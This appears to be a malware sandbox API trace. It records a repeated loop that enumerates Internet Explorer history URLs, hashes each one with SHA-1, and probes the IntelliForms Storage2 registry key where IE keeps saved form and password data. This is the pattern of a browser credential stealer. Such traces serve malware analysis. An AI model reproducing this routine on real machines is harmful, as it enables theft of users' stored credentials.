	[0211.201] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.201] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.202] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.202] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.202] CoTaskMemFree (pv=0x56f728) 
	[0211.202] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afd20) returned 1
	[0211.203] GetLastError () returned 0x0
	[0211.203] CryptCreateHash (in: hProv=0x5afd20, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.203] GetLastError () returned 0x0
	[0211.203] CryptHashData (hHash=0x5bb4b0, pbData=0x25460a0, dwDataLen=0x8a, dwFlags=0x0) returned 1
	[0211.203] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25461b0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25461b0, pdwDataLen=0x5ffde9c) returned 1
	[0211.203] GetLastError () returned 0x0
	[0211.204] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.204] CryptReleaseContext (hProv=0x5afd20, dwFlags=0x0) returned 1
	[0211.204] GetLastError () returned 0x0
	[0211.204] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.204] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.204] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.204] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.204] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.205] CoTaskMemFree (pv=0x5b0738) 
	[0211.205] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0738) returned 1
	[0211.206] GetLastError () returned 0x0
	[0211.206] CryptCreateHash (in: hProv=0x5b0738, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.206] GetLastError () returned 0x0
	[0211.206] CryptHashData (hHash=0x5bb4b0, pbData=0x2546ea0, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0211.206] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2546fa4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2546fa4, pdwDataLen=0x5ffde9c) returned 1
	[0211.206] GetLastError () returned 0x0
	[0211.206] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.206] CryptReleaseContext (hProv=0x5b0738, dwFlags=0x0) returned 1
	[0211.206] GetLastError () returned 0x0
	[0211.206] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.206] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.206] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.206] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.207] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.207] CoTaskMemFree (pv=0x5d6d68) 
	[0211.207] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.208] GetLastError () returned 0x0
	[0211.208] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.208] GetLastError () returned 0x0
	[0211.208] CryptHashData (hHash=0x5bb4b0, pbData=0x2547cd8, dwDataLen=0x9e, dwFlags=0x0) returned 1
	[0211.208] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2547dfc, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2547dfc, pdwDataLen=0x5ffde9c) returned 1
	[0211.208] GetLastError () returned 0x0
	[0211.209] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.209] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.209] GetLastError () returned 0x0
	[0211.209] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.209] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.209] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.209] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.210] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.210] CoTaskMemFree (pv=0x5e7048) 
	[0211.210] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.211] GetLastError () returned 0x0
	[0211.211] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.211] GetLastError () returned 0x0
	[0211.211] CryptHashData (hHash=0x5bb4b0, pbData=0x2548ad0, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0211.211] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2548bc4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2548bc4, pdwDataLen=0x5ffde9c) returned 1
	[0211.211] GetLastError () returned 0x0
	[0211.211] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.211] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.211] GetLastError () returned 0x0
	[0211.211] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.211] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.211] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.212] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.212] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.212] CoTaskMemFree (pv=0x58d4c8) 
	[0211.212] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.213] GetLastError () returned 0x0
	[0211.213] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.213] GetLastError () returned 0x0
	[0211.213] CryptHashData (hHash=0x5bb4b0, pbData=0x2549868, dwDataLen=0x56, dwFlags=0x0) returned 1
	[0211.213] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2549944, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2549944, pdwDataLen=0x5ffde9c) returned 1
	[0211.213] GetLastError () returned 0x0
	[0211.214] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.214] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.214] GetLastError () returned 0x0
	[0211.214] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.214] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.214] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.214] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.215] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.215] CoTaskMemFree (pv=0x548228) 
	[0211.215] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.216] GetLastError () returned 0x0
	[0211.216] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.216] GetLastError () returned 0x0
	[0211.216] CryptHashData (hHash=0x5bb4b0, pbData=0x254a600, dwDataLen=0x62, dwFlags=0x0) returned 1
	[0211.216] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x254a6e8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x254a6e8, pdwDataLen=0x5ffde9c) returned 1
	[0211.216] GetLastError () returned 0x0
	[0211.216] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.216] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.216] GetLastError () returned 0x0
	[0211.216] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.216] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.217] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.217] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.217] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.218] CoTaskMemFree (pv=0x5e4e40) 
	[0211.218] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.219] GetLastError () returned 0x0
	[0211.219] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.219] GetLastError () returned 0x0
	[0211.219] CryptHashData (hHash=0x5bb4b0, pbData=0x254b3cc, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0211.219] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x254b4c8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x254b4c8, pdwDataLen=0x5ffde9c) returned 1
	[0211.219] GetLastError () returned 0x0
	[0211.219] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.219] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.219] GetLastError () returned 0x0
	[0211.219] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.219] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.219] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.220] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.220] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.220] CoTaskMemFree (pv=0x5d6828) 
	[0211.220] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.222] GetLastError () returned 0x0
	[0211.222] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.222] GetLastError () returned 0x0
	[0211.222] CryptHashData (hHash=0x5bb4b0, pbData=0x254c1f4, dwDataLen=0x9a, dwFlags=0x0) returned 1
	[0211.222] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x254c314, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x254c314, pdwDataLen=0x5ffde9c) returned 1
	[0211.222] GetLastError () returned 0x0
	[0211.222] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.222] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.222] GetLastError () returned 0x0
	[0211.222] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.222] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.222] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.222] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.223] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.223] CoTaskMemFree (pv=0x5e21c8) 
	[0211.223] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.224] GetLastError () returned 0x0
	[0211.224] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.224] GetLastError () returned 0x0
	[0211.224] CryptHashData (hHash=0x5bb4b0, pbData=0x254cfc8, dwDataLen=0x5e, dwFlags=0x0) returned 1
	[0211.224] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x254d0ac, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x254d0ac, pdwDataLen=0x5ffde9c) returned 1
	[0211.225] GetLastError () returned 0x0
	[0211.225] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.225] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.225] GetLastError () returned 0x0
	[0211.225] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.225] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.225] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.225] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.226] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.226] CoTaskMemFree (pv=0x5e05a0) 
	[0211.226] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.227] GetLastError () returned 0x0
	[0211.227] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.227] GetLastError () returned 0x0
	[0211.227] CryptHashData (hHash=0x5bb4b0, pbData=0x254dd70, dwDataLen=0x66, dwFlags=0x0) returned 1
	[0211.227] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x254de5c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x254de5c, pdwDataLen=0x5ffde9c) returned 1
	[0211.227] GetLastError () returned 0x0
	[0211.227] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.227] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.227] GetLastError () returned 0x0
	[0211.227] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.228] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.228] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.228] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.229] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.229] CoTaskMemFree (pv=0x5e1f58) 
	[0211.229] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.230] GetLastError () returned 0x0
	[0211.230] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.230] GetLastError () returned 0x0
	[0211.230] CryptHashData (hHash=0x5bb4b0, pbData=0x254eb08, dwDataLen=0x5a, dwFlags=0x0) returned 1
	[0211.230] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x254ebe8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x254ebe8, pdwDataLen=0x5ffde9c) returned 1
	[0211.230] GetLastError () returned 0x0
	[0211.230] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.230] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.230] GetLastError () returned 0x0
	[0211.230] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.230] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.230] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.231] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.231] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.231] CoTaskMemFree (pv=0x5d66d8) 
	[0211.232] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.233] GetLastError () returned 0x0
	[0211.233] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.233] GetLastError () returned 0x0
	[0211.233] CryptHashData (hHash=0x5bb4b0, pbData=0x254f920, dwDataLen=0xa0, dwFlags=0x0) returned 1
	[0211.233] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x254fa48, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x254fa48, pdwDataLen=0x5ffde9c) returned 1
	[0211.233] GetLastError () returned 0x0
	[0211.233] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.233] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.233] GetLastError () returned 0x0
	[0211.233] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.233] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.233] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.234] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.234] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.234] CoTaskMemFree (pv=0x5e0680) 
	[0211.234] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.236] GetLastError () returned 0x0
	[0211.236] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.236] GetLastError () returned 0x0
	[0211.236] CryptHashData (hHash=0x5bb4b0, pbData=0x2550710, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0211.236] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2550800, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2550800, pdwDataLen=0x5ffde9c) returned 1
	[0211.236] GetLastError () returned 0x0
	[0211.236] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.236] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.236] GetLastError () returned 0x0
	[0211.236] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.236] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.236] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.236] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.237] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.237] CoTaskMemFree (pv=0x5d4cc0) 
	[0211.237] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.238] GetLastError () returned 0x0
	[0211.238] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.238] GetLastError () returned 0x0
	[0211.238] CryptHashData (hHash=0x5bb4b0, pbData=0x25514d0, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0211.238] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25515c4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25515c4, pdwDataLen=0x5ffde9c) returned 1
	[0211.238] GetLastError () returned 0x0
	[0211.238] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.238] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.238] GetLastError () returned 0x0
	[0211.239] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.239] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.239] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.239] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.240] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.240] CoTaskMemFree (pv=0x58d0a8) 
	[0211.240] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.241] GetLastError () returned 0x0
	[0211.241] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.241] GetLastError () returned 0x0
	[0211.241] CryptHashData (hHash=0x5bb4b0, pbData=0x255226c, dwDataLen=0x58, dwFlags=0x0) returned 1
	[0211.241] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x255234c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x255234c, pdwDataLen=0x5ffde9c) returned 1
	[0211.241] GetLastError () returned 0x0
	[0211.241] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.242] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.242] GetLastError () returned 0x0
	[0211.242] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.242] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.242] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.242] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.243] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.243] CoTaskMemFree (pv=0x5e2368) 
	[0211.243] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.244] GetLastError () returned 0x0
	[0211.244] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.244] GetLastError () returned 0x0
	[0211.244] CryptHashData (hHash=0x5bb4b0, pbData=0x2553004, dwDataLen=0x60, dwFlags=0x0) returned 1
	[0211.244] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25530ec, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25530ec, pdwDataLen=0x5ffde9c) returned 1
	[0211.244] GetLastError () returned 0x0
	[0211.244] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.244] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.244] GetLastError () returned 0x0
	[0211.244] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.244] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.244] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.245] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.245] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.245] CoTaskMemFree (pv=0x5e1ae0) 
	[0211.245] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e778) returned 1
	[0211.246] GetLastError () returned 0x0
